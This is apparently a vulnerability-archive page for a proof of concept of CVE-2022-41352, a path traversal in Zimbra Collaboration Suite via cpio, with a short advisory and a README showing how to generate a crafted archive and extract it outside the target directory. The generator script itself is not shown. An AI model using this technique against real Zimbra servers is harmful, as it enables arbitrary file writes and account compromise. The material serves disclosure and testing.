Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-41352 PoC — Zimbra Collaboration Suite 路径遍历漏洞

Source
Associated Vulnerability
Title:Zimbra Collaboration Suite 路径遍历漏洞 (CVE-2022-41352)
Description:Zimbra Collaboration Suite(ZCS)是美国Zimbra的一款开源协同办公套件。该产品包括WebMail、日历、通信录等。 Zimbra Collaboration Suite (ZCS) 8.8.15版本和9.0版本存在路径遍历漏洞。攻击者利用该漏洞通过amavisd上传任意文件,导致对其他用户帐户的错误访问。
Description
cve-2022-41352 poc
Readme
# cve-2022-41352

# generate poc.tar
```
$ chmod +x cpio_pocgen.py
$ ./cpio_pocgen.py
```

# show the middle finger to cpio
```
$ cd /tmp
$ mkdir -p poc/a/b

copy poc.tar to /tmp/poc/a/b/

$ cd /tmp/poc/a/b/
$ cpio -i < poc.tar
$ ls -al ../
total 16
drwxrwxr-x 3 xabino xabino 4096 ott 10 14:56 .
drwxrwxr-x 3 xabino xabino 4096 ott 10 14:55 ..
drwxrwxr-x 2 xabino xabino 4096 ott 10 14:56 b
-rw-r--r-- 1 xabino xabino   35 ott 10 14:56 here.txt <-- resource outside of /tmp/poc/a/b/

$ cat ../here.txt
I should not be here - by segfault
```
File Snapshot

[4.0K] /data/pocs/704119233d9f91ebe14ebca58f173a9c14be06f3 ├── [2.4K] cpio_pocgen.py ├── [ 18K] LICENSE ├── [2.5K] poc.tar └── [ 542] README.md 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.